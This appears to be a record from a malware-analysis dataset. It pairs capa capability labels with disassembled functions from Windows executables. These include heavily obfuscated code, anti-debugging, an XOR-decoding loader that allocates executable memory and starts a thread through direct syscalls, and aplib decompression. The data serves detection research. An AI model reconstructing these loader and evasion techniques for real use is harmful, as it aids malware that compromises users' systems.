joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1418a540c
Capabilities:
Authenticate hmac
Check for software breakpoints
Encode data using base64

Disassembly:
shr edi, 8
inc dword [rsp + 0xa]
call fcn.1418c7573
mov ecx, 0x3f952906
movsx ebx, cl
shr bx, cl
mov r10d, dword [rcx + r11 - 0x3f952906]
xor r10d, r9d
movzx edi, bx
bswap r10d
lea rdx, [rdi + rcx*8 - 0x7e41a96b]
call fcn.141894cb6
lea r11, [rcx + r11 - 0x27]
movzx eax, bx
mov edi, 0xc087da28
xor r10d, r9d
btc ebx, eax
lea r10d, [r10 + rcx + 0xaac0fe2]
btr ebx, ecx
ror cx, cl
ror r10d, 1
xor edi, edi
cqo
neg r10d
xchg edi, eax
call fcn.1418b8772
mov eax, 0xc58b0dab
mov ebp, eax
lea rcx, [rbp*4 - 0x6cdad657]
mov rcx, qword [r8 + riz]
push rax
mov r10d, ebp
mov r10, qword [r8 + riz + 8]
movzx ebx, byte [rsp + 1]
lea rdi, [rbp*8 - 0x1b5d08f9]
lea r8, [r8 + rbx*2 - 0x12]
and dword [rsp + rbx - 0xb], ebx
bswap rdi
or rcx, r10
pop rdi
movsx edx, al
lea r10, [rbx*2 - 0x2fcef0db]
not rcx
dec ebp
mov qword [r8 + rbx - 0xd], rcx
btr rax, 0xae
movzx ecx, bl
mov ecx, dword [rbx + r11 - 0xd]
setae al
lea r11, [r11 + rbx*4 - 0x30]
inc r10d
sal rbx, 0x72
push rbx
xor ecx, r9d
dec bp
xor ecx, 0xdf2cbeb8
xor r10, 0xffffffffec8ec6aa
jne 0x1418a9034
adc r11, 4
xor ebx, r9d
pop rbp
mov eax, dword [rsp]
sub ebx, 0x45210b03
neg ebx
call fcn.1418b5084
inc ecx
sar dword [rsp + rdi*4 - 0x2436ac], 0x87
mul dword [rsp + rdi*2 - 0x121b53]
jo 0x1418bb0d6
ror ecx, 3
xchg byte [rsp + rax*2 - 0x68000000], dil
cdq
inc ecx
btc di, 0xb8
not ecx
mov qword [rsp + rax - 0x34000000], r9
shl eax, 0x77
bt r10d, ebp
xor di, 0x9f2f
xor dword [rsp + rax*2], ecx
pop r9
bt r10, rbp
sar rax, 0xb7
neg bpl
movsxd rcx, ecx
add rsi, rcx
sar rbx, 0x78
lea rcx, [rdx*8 - 0x3f61aad5]
adc edi, ebx
add rax, rsi
jmp rax

Function at 0x1418a665d
Capabilities:
Authenticate hmac
Check for software breakpoints
Encode data using base64
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x30], 0xffffffffa4135e96
movsxd rbx, ebx
sar dword [rsp + 0x30], 0x77
jnp 0x141875acc
adc rsi, rbx
lea rsp, [rsp + 0x38]
push 0xffffffffa7852cb3
push 0x4a928aa7
lea rsp, [rsp + 0x10]
jmp 0x141798c95

Function at 0x1418a67d1
Capabilities:
Authenticate hmac
Check for software breakpoints
Encode data using base64
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffd9a6eaae
lea rsp, [rsp + 0x10]
sub rsp, rcx
jmp 0x1418bc211
jmp 0x1418a1e11
and rsp, 0xfffffffffffffff0
call fcn.1418be315
Function at 0x1418a9e2e
Capabilities:
Authenticate hmac
Check for software breakpoints
Encode data using base64
Parse pe header
Resolve function by parsing pe exports

Disassembly:
lea rbp, [r10 + rcx*8 + 0x6338491e]
pop r11
mov edi, dword [r11 + rdi - 0x7161b87]
movsx eax, cl
add bpl, bpl
jge 0x1418b6e30
lea rax, [r10*8 - 0x16d1f866]
ror di, 0xef
mov rax, qword [r8 + rdi - 0x34a7e25b]
mov rbx, qword [rax + rdi - 0x34a7e25b]
jb 0x14189d55d
call fcn.141893861
lea rsp, [rsp + 0x10]
call rax
mov rsp, qword [rbp + riz - 0x10]
mov rbp, qword [rbp + riz - 8]
mov edi, 0x7161b87
movzx r9d, di
mov qword [rbp + rdi - 0x7161b87], rax
mov r8, rbp
lea r10, [rdi*2 + 0x31267b14]
movsx ebx, r10w
xchg r9b, dil
pop r9
sar r10, 0x92
pop rsi
movsx ecx, bx
jbe 0x1418a9884
mov eax, 0xd683c2ad
lea rdi, [rax + rax*8 + 0x26bbbb1e]
movsx edx, di
mov rax, qword [r8 + riz]
movsx ebp, dx
mov rdx, qword [rax + riz]
and bpl, 0x3e
mov qword [r8 + riz], rdx
movzx ecx, di
shr cx, 0xc9
movzx edx, byte [r11 + rcx*8 - 0x248]
mov eax, 0x133af9d
xor dl, r9b
sal rdi, 0xf9
lea rbx, [rcx*2 - 0x5c6f6ce0]
rol dl, 1
add dl, 0xaf
bt rax, rax
lea r10, [rbp + rdi + 0x689de586]
xor dl, 0xba
rol ebx, 0xc1
btc rbp, 0x2a
ror dl, 1
inc dl
xor di, bp
xadd cl, bl
sal ebx, 0xdd
xor r9b, dl
mov word [rcx + r8 - 0xb0], dx
lea r8, [r8 + rcx - 0xb0]
lea rdi, [rcx + 0x6ca4d93b]
shl bx, 0xc
add cx, r10w
mov edx, dword [rcx + r11 - 0x7965]
cwde
lea r11, [r11 + rcx*4 - 0x1e593]
jae 0x1418ade21

Function at 0x1418af6cd
Capabilities:
Authenticate hmac
Check for software breakpoints
Encode data using base64
Parse pe header
Resolve function by parsing pe exports

Disassembly:
inc byte [rsp + 9]
mov qword [rbp + riz - 8], rax
jno 0x1418b85dc
mov edi, dword [r11]
add r11, 4
mov ebp, 0xf5a6f43f
lea rbp, [rbp + rbp + 0x1925b111]
xor edi, r9d
and bp, bp
dec rbp
lea rbx, [rbp*8 - 0x4ac50ad4]
neg edi
bswap edi
xor edi, 0xda265610
bswap ebp
not edi
push rbx
mov qword [rsp], r9
xor dword [rsp], edi
and bx, bp
pop r9
shr bx, 0xa4
or bpl, bl
shr ebp, 0x82
movsxd rdi, edi
shr rbx, 0xe7
ror ebx, 0xbc
setne bpl
adc rsi, rdi
mov rbp, qword [r8 + rbp*2 - 0x474cb800]
sar bl, 0xe1
or bx, bx
sub bx, 0x74a6
mov rbx, qword [r8 + rbx*2 - 0x116ac]
call fcn.1418a66b9
jbe 0x1418bafda
xor ecx, ecx
jmp 0x1418afcb3
push 0x3c929485
cmp ebx, 4
not word [rsp + 4]
lea rsp, [rsp + 0x18]
jbe 0x1418afcec
mov ecx, 0x31b46633
lea rcx, [rcx + rcx*4 + 0x603d0026]
lea rdx, [rcx + rcx*4 + 0xebdf79d]
mov edx, 4
lea ecx, [rbx + riz - 4]
shl ecx, 3
sal edx, 3
mov rax, rbp
push 0xffffffffd4a6bda8
push 0xffffffff949bc115
add rax, rdx
ror byte [rsp + 0xd], 0xc3
jb 0x1418a49f5
mov edi, 0xeb3ba19
movzx eax, di
movzx ebp, ax
mov r10d, dword [r11 + rax*4 - 0x2e864]
sal rbp, 0xe
movzx ebx, di
sbb bx, di
lea r11, [rax + r11 - 0xba15]
ror al, 0x46
jp 0x1418a5180
mov eax, 0x35a617a9
mov edx, dword [r11 + rax*2 - 0x6b4c2f52]
lea r11, [r11 + rax*2 - 0x6b4c2f4e]
lea rbp, [rax + rax*2 + 0x2517f8a5]
xor edx, r9d
lea edx, [rdx + rax*2 + 0x1d3cca60]
jmp 0x1418c73ba
Function at 0x1418b2211
Capabilities:
Authenticate hmac
Check for software breakpoints
Encode data using base64
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov r10, qword [rsp + r10*2 + 0x68]
jmp 0x1418aacd9
bt rax, rbx
xor dword [rsp + rcx*8 - 0x30], ebp
sal rcx, cl
pop r9
xor cl, ah
not dil
movsxd rbp, ebp
sbb dx, 0xe385
mul r10w
adc rsi, rbp
xor dl, byte [r8 + rcx*2 - 0x300]
bt cx, ax
mov bpl, byte [r8 + rcx - 0x17e]
push r10
inc word [rsp + rcx*8 - 0xbfd]
lea r8, [rcx + r8 - 0x17e]
ror word [rsp + rcx*2 - 0x2fd], 0x41
btr rcx, rdi
sar cx, 0xe2
xor dl, dil
xor bpl, dil
or byte [rsp + rcx*4 - 0x17d], 0x9c
and dl, bpl
pop rax
mov ebp, edi
xor rbx, 0xffffffffa59e4422
mov word [r8 + rcx - 0x60], dx
movsx edx, bx
jmp rsi
rol bl, 2
jae 0x1418cb15a
mov r8, qword [rsp + r15 + 0x28]
mov qword [rsp + r15*2 + 8], r14
and r10w, r15w
dec r11b
mov r14, qword [rsp + r15 + 0x30]
mov r11, qword [rsp + r15*8 + 0x38]
mov qword [rsp + r15*2 + 0x18], 0x3d058813
mov qword [rsp + r15 + 0x10], r15
mov eax, dword [rsp + r10*2 + 0x18]
mov r13, qword [rsp + r15 + 0x40]
lea rdx, [rax + r10*4 - 0x5d6929e0]
mov r15, qword [rsp + r15 + 0x48]
setns byte [rsp + rax - 0x3d058810]
mov rdi, qword [rsp + r10*4 + 0x50]
movzx esi, word [rsp + r10*4 + 8]
mov rax, qword [rsp + r10 + 0x58]
mov qword [rsp + r10 + 0x20], rsi
push qword [rsp + 0x60]
popfq
jmp 0x141877c9a
mov qword [rsp + rdx + 0x2063a205], rdx
pop rdx
mov rdx, qword [rsp + rsi*2 - 0x19dc0]
movzx ebp, sil
mov rbp, qword [rsp + rsi - 0xcea4]
xchg word [rsp + rsi - 0xcefe], si
mov rsi, qword [rsp + rsi*4 + 0x78]
call fcn.1418be402
mov qword [rsp + r15 - 0x1a39bba7], 0xffffffff91ba5481
mov r9, qword [rsp + r15 - 0x1a39bb9f]
movzx ebx, cl
xchg r15d, ebx
mov rbx, qword [rsp + rbx*2 - 0x3473773e]
mov r12, qword [rsp + r15*2 - 0x136]
lea r13, [rcx*4 - 0x2d42cf7b]
movsx r11d, r15b
movzx r10d, word [rsp + r15*8 - 0x534]
mov rcx, qword [rsp + r15 - 0x87]
sub r15b, r11b
lea r14, [r15*4 + 0x499cf14]
jae 0x1418825cb
call fcn.14187df70
btr ecx, 0xa9
neg ebp
jmp 0x141880b71
lea ebp, [rbp + rdx*4 - 0x15863f9b]
mov r10d, ebx
xor ebp, 0xf188419e
dec ebp
sar cl, 0xe4
shr ax, 0x8f
shr ecx, 0xbd
push r9
jns 0x141878ca2

Function at 0x1418b4ee3
Capabilities:
Authenticate hmac
Check for software breakpoints
Encode data using base64
Parse pe header
Resolve function by parsing pe exports

Disassembly:
jmp 0x1418b394a
call fcn.141884754
mov eax, 0x22892106
bt ax, 0x99
mov rax, qword [rbp + rbx*8 + 0x20]
jae 0x141887874
lea rsp, [rsp + 0x10]
jne 0x14188b748
jmp 0x1418823e6
jmp 0x141876d1f
Function at 0x1418b53ab
Capabilities:
Authenticate hmac
Check for software breakpoints
Encode data using base64
Parse pe header
Resolve function by parsing pe exports

Disassembly:
lea r10, [rdi + rdi*4 + 0x379ee093]
movzx ebp, di
lea r8, [r8 + rbp*2 - 0x1a820]
or eax, eax
movzx edx, byte [r11 + rbp*2 - 0x1a826]
cdqe
xor dl, r9b
not dl
cwde
lea rdi, [rbp + rbp*4 + 0x6b9b0586]
sub dl, 0x9e
neg ebp
ror dl, 1
not dl
jmp 0x141895d4a
xor r9b, bl
xadd dword [rsp + rdx*8 - 0x7ec], eax
cdq
lea rbx, [rsp + rbx + 0x10]
shl rax, 0x78
ror edi, 0x66
setne byte [rsp + r10 - 0x100f7]
mov word [rbx + rdx*4], bp
xor word [rsp + rdx + 0xb], 0xca2a
jne 0x1418c798e
dec dl
jl 0x1418798ca
mov ebp, 0x5692b28f
mov edx, dword [r11 + rbp - 0x5692b28f]
shr ebp, 0x68
mov ecx, ebp
lea r11, [r11 + rbp*2 - 0xad2560]
xor edx, r9d
mov r10d, ebp
lea rax, [rcx - 0x58f8f857]
shl al, 0x26
neg edx
xadd bpl, cl
lea rdi, [rbp + r10*8 + 0x15bb9d3d]
lea rbx, [rcx*2 + 0x4d1b7]
ror edx, 1
shl rbx, 2
and bx, cx
dec edx
rol edx, 1
inc rdi
call fcn.1418c55f5
and bpl, al
xor dword [rsp + rbx - 0x580f53b5], edx
sal bl, 0xa1
bts ebp, ebx
pop r9
sal bx, cl
or dil, 9
neg edi
movsxd rdx, edx
inc eax
bt ebx, 0xa5
xor cl, dil
adc rsi, rdx
mov rbp, qword [r8 + rbx - 0x580f6d40]
lea r8, [rbx + r8 - 0x580f6d38]
lea rdx, [r10 + rdi*8 + 0x3d9deebb]
shl r10d, 0xb4
movzx r10d, byte [r11 + rax - 0x1086]
cmove eax, edi
sbb rcx, rax
shl dil, 0x42
lea r11, [r11 + rax*2 - 0x210b]
add ebx, edx
ja 0x1418ab6bf
xor r10b, r9b
sub rbx, rax
btr rcx, rax
adc r10b, 0x1a
shl eax, 0xf2
idiv bl
ror edx, 9
not r10b
sbb edi, 0x49b1041e
ror r10b, 1
idiv dl
sub r10b, 0x3d
mul edx
add dil, al
ror r10b, 1
imul rdx
xor rax, rcx
adc dl, dil
dec r10b
xor ax, 0xcaaa
and edx, ecx
xor r9b, r10b
imul rdi
shl cl, 0x42
not al
adc r10, rsp
sar ax, cl
neg ax
sub edi, ecx
mov qword [rbx + r10 - 0x22cc556], rbp
bts edi, edi
movzx r10d, cx
shl rbx, 0xbb
jmp rsi
push rax
movsxd rbp, ebp
imul edx
ror r10d, 0x3e
jb 0x1418bf6fa
sal cl, 0x82
mov eax, dword [rax + r11 - 0x72b803d4]
sbb dil, cl
ror rdi, 0x77
call fcn.1418b6455
mov ecx, 0xa188119c
lea rbx, [rcx*8 - 0x7c4544d2]
mov edx, dword [r8 + riz]
xadd bl, ch
mov cl, byte [r8 + riz + 4]
lea rax, [rbx*8 + 0x7d9328b3]
shr edx, cl
lea rdi, [rax + rax*4 - 0x46a3c44]
mov dword [r8 + riz + 2], edx
sal eax, 0x5a
mov ebx, dword [r8 + riz + 2]
jae 0x14187677b
adc bp, word [r10 + r8 - 0x10000]
movsx ecx, bx
pop rcx
inc bx
lea r8, [r8 + r10*2 - 0x1fffe]
movzx ebx, byte [r11 + r10 - 0x10000]
cqo
sal rdx, 0x81
lea r11, [rdx + r11 + 1]
xor bl, r9b
dec bl
sar rdi, 0xb1
not bl
push rdi
cdqe
ror bl, 1
not r10b
push rdx
xchg rdi, rdx
neg bl
jmp 0x1418a5d96
add rsi, rbp
add eax, 0x679699a9
mov qword [rsp + rax - 0x6796e1e9], rsi
ret
btc edi, edx
adc qword [rsp + rdx*4], rsi
ret 8
Function at 0x1418b7d45
Capabilities:
Authenticate hmac
Check for software breakpoints
Encode data using base64
Parse pe header
Resolve function by parsing pe exports

Disassembly:
pop r10
bts cx, ax
bswap ebx
or ax, 0xd69f
cwde
lea rdx, [rbp*4 - 0x5a6b4d5c]
ror ebx, 1
push rdx
lea ebx, [rbp + rbx - 0x14e7c966]
cqo
shl qword [rsp + rdx*2], 0xcb
mov qword [rsp + rdx], r9
jae 0x1418c8381
movsx r10d, dx
xor dword [rsp + rdx*2], ebx
xchg bp, r10w
cwde
pop r9
xor r10d, 0x1700b828
call fcn.1418c6086
Function at 0x1418bfbf1
Capabilities:
Authenticate hmac
Check for software breakpoints
Encode data using base64
Parse pe header
Resolve function by parsing pe exports

Disassembly:
xor dword [rsp + rax - 0x1b00fdec], r10d
shr rcx, 0xf2
ror rbp, 0x37
sbb word [rsp + rcx + 9], cx
mov r9, qword [rsp + rcx + 0x10]
rol rdi, 0x4c
cqo
imul di
movsxd r10, r10d
or ax, ax
adc rsi, r10
xchg ecx, edi
cdq
add rdx, qword [r8 + rdx + 8]
sub eax, 0x5492829a
lea r8, [rdi + r8 + 0x10]
movzx eax, byte [r11 + rdi + 4]
or bpl, 0xb6
dec dil
lea r11, [r11 + rdi*8 - 0x7f3]
mov qword [rsp + rdi - 0xef], rdi
inc cl
xor al, r9b
dec cl
sub al, dil
shl bpl, 0xc2
movsx r10d, cx
xor al, dil
rol al, 1
add r10w, 0xaa02
seta byte [rsp + rdi - 0xec]
sbb al, bl
xor r9b, al
and ecx, 0x6f251015
lea rax, [rsp + rax + 0x18]
xadd r10w, di
inc word [rsp + rcx - 0x2104ffea]
pop rbp
mov qword [rcx + rax - 0x21050000], rdx
mov qword [rsp + rdi - 0xa02], rsi
ret 8
mov qword [rsp + rbx - 0x6a81], rdx
mov ecx, dword [rsp + rdx - 0x6a892e0c]
not rbp
bts rbx, 0x2c
mov qword [rsp + rdx - 0x6a892e1b], rdx
not rdi
sub dword [rsp + rdx - 0x6a892e07], 0xeca1bf27
or dword [rsp + rdx - 0x6a892e10], 0xfd22810c
mov eax, dword [rsp + rdx - 0x6a892e0e]
and rbp, rdi
xor byte [rsp + rdx - 0x6a892e12], al
sete al
mov qword [r8 + rax*4 - 0x6c03f3f8], rbp
mov r10d, dword [r11 + rax - 0x1b00fd00]
bswap ebx
shl al, 0xc1
xor r10d, r9d
xor r10d, 0xdf2cbeb8
add al, ah
lea rdi, [rdx + rdx + 0x2f18c0a0]
cmovge rax, qword [rsp + rax - 0x1b00fdee]
inc r10d
ror r10d, 3
add word [rsp + rax - 0x1b00fdf1], ax
xor qword [rsp + rdx - 0x6a892e1a], 0xffffffffdc002bbc
inc r10d
dec byte [rsp + rdx - 0x6a892e17]
movsx ebp, al
not r10d
dec ax
xor byte [rsp + rdx - 0x6a892e12], bl
mov qword [rsp + rdx - 0x6a892e0b], r9
btr bx, cx
movzx r9d, word [rsp + rax*2 - 0x3601fbed]
jae 0x1418979bc

Function at 0x1418c7869
Capabilities:
Check for software breakpoints
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
rol eax, 1
inc ecx
bswap eax
not eax
xchg byte [rsp + rdi*2 + 7], dil
jle 0x1418853fa
lea rcx, [rcx + rbx*4 - 0x7976d5e8]
mov qword [rsp + rdi], r9
add edx, 0xd234789
xchg rbx, r10
xor dword [rsp + rdi], eax
xor r10d, r10d
test rdi, rdi
push 0xfffffffff23d2317
push 0x2a0a5896
lea rsp, [rsp + 0x18]
je 0x1418932f3
mov ebx, 0x11a598af
imul ebx, ebx
jb 0x1418c0143
mov r10, qword [r8]
mov edi, 0xba9aa614
movsx edx, di
mov rax, qword ss:[r10 + riz]
or dil, dil
xor edi, edi
mov r10d, edx
mov qword [rdi + r8], rax
mov ebx, 0xa5b36239
mov eax, dword [r11 + rdi*2]
sar edx, 6
ror rbx, 0x9c
lea r11, [rdi + r11 + 4]
xor eax, r9d
ror dil, 0xc5
sub ebx, 0x8aa610bf
sbb eax, 0xa50fa20d
movzx ecx, dl
push rdx
jmp 0x1418a42c2
Function at 0x140e6c3c8
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140e6c54f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140e6c3f9
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e6c3df
add dl, dl
jne 0x140e6c406
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e6c466
xor eax, eax
add dl, dl
jne 0x140e6c415
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e6c51d
add dl, dl
jne 0x140e6c426
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e6c433
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e6c440
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e6c44d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140e6c45a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140e6c3ee
mov eax, 1
add dl, dl
jne 0x140e6c476
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e6c483
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e6c46b
sub eax, ebx
mov ebx, 1
jne 0x140e6c4bc
mov ecx, 1
add dl, dl
jne 0x140e6c49e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140e6c4ab
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e6c493
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e6c3ee
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140e6c4d8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140e6c4e5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e6c4cd
cmp eax, 0x7d00
jae 0x140e6c50b
cmp eax, 0x500
jb 0x140e6c506
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e6c3ee
cmp eax, 0x7f
ja 0x140e6c50e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e6c3ee
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140e6c542
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140e6c3ee
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400010f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14001b040]
xor rax, rsp
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 0x14044ae
mov qword [rsp + 0x68], 0x40e09
mov rbx, rax
call section..text
movzx ecx, ax
call fcn.1400012a0
lea r9, [rsp + 0x68]
mov dword [rsp + 0x28], 0x40
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
lea rdx, [0x14005da98]
mov rcx, rbx
call fcn.1400012b1
xor edi, edi
lea r9, [0x14003c173]
mov eax, edi
lea r10, [0x14001ba70]
lea r8d, [rdi + 1]
nop dword [rax]
mov rcx, qword [0x14005da98]
cmp rax, 0x20705
jae 0x140001186
movzx edx, byte [r9 + 1]
jmp 0x14000118c
movzx edx, byte [r8 + r10 - 1]
mov byte [rcx + rax], dl
mov rcx, qword [0x14005da98]
cmp r8, 0x20705
jae 0x1400011a5
movzx edx, byte [r9]
jmp 0x1400011aa
movzx edx, byte [r8 + r10]
mov byte [rcx + rax + 1], dl
lea rdx, [rax + r10]
lea rcx, [rdx + 2]
sub rcx, r10
cmp rcx, 0x20705
mov rcx, qword [0x14005da98]
jae 0x1400011d0
movzx edx, byte [r9 - 1]
jmp 0x1400011d4
movzx edx, byte [rdx + 2]
mov byte [rcx + rax + 2], dl
add r8, 3
add rax, 3
sub r9, 3
cmp r8, 0x40e0a
jb 0x140001170
mov rdx, rdi
mov rcx, qword [0x14005da98]
lea eax, [rdx + 1]
xor byte [rcx + rdx], al
inc rdx
cmp rdx, 0x40e09
jb 0x1400011f0
mov ecx, 0x93ec9d3d
call section..text
movzx ecx, ax
call fcn.1400012a0
mov rax, qword [0x14005da98]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x50], rdi
mov r9, rbx
mov qword [rsp + 0x48], rdi
xor r8d, r8d
mov qword [rsp + 0x40], rdi
mov edx, 0x1fffff
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.1400012b1
mov ecx, 0xc6f6afcd
call section..text
movzx ecx, ax
call fcn.1400012a0
mov rcx, qword [rsp + 0x60]
xor r8d, r8d
xor edx, edx
call fcn.1400012b1
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400012e0
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret

Function at 0x1400012b1
Capabilities:
Execute syscall

Disassembly:
mov rax, rcx
xor rcx, rcx
mov r10, rax
xor eax, eax
mov eax, dword [section..data]
syscall
ret

Function at 0x140001cc8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d12
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d12
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d12
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d12
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d14
xor al, al
add rsp, 0x28
ret

Function at 0x14000644c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140006248
Function at 0x14000950c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000953c
xor eax, eax
jmp 0x1400095ff
mov rbp, rbx
cmp word [rax], si
je 0x140009561
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140009548
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140009544
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000942c
movsxd r14, eax
test eax, eax
jne 0x14000959f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140009535
mov rcx, r14
call fcn.14000a3e8
mov rdi, rax
test rax, rax
jne 0x1400095b8
xor ecx, ecx
call fcn.140007a8c
jmp 0x140009594
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000942c
test eax, eax
jne 0x1400095e9
mov rcx, rdi
call fcn.140007a8c
jmp 0x1400095f3
xor ecx, ecx
call fcn.140007a8c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000caf0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400084fc
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000cb7a
cmp byte [rbp - 0x21], r15b
je 0x14000cb75
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000cbb0
call fcn.14000abf8
test eax, eax
jne 0x14000cb9c
cmp byte [rbp - 0x21], r15b
je 0x14000cb94
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000cbb0
cmp byte [rbp - 0x21], r15b
je 0x14000cbad
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140007adc
test eax, eax
jne 0x14000cc50
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400084fc
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000cbef
cmp byte [rbp - 0x21], r15b
je 0x14000cc24
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000cc24
call fcn.14000abf8
test eax, eax
jne 0x14000cc10
cmp byte [rbp - 0x21], r15b
je 0x14000cc09
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000cc24
cmp byte [rbp - 0x21], r15b
je 0x14000cc21
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140007adc
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000cc50
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000cc53
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000cc61
mov rcx, rdi
call fcn.140007a8c
cmp byte [rbp + 0x3f], r15b
je 0x14000cc70
mov rcx, qword [rbp + 0x27]
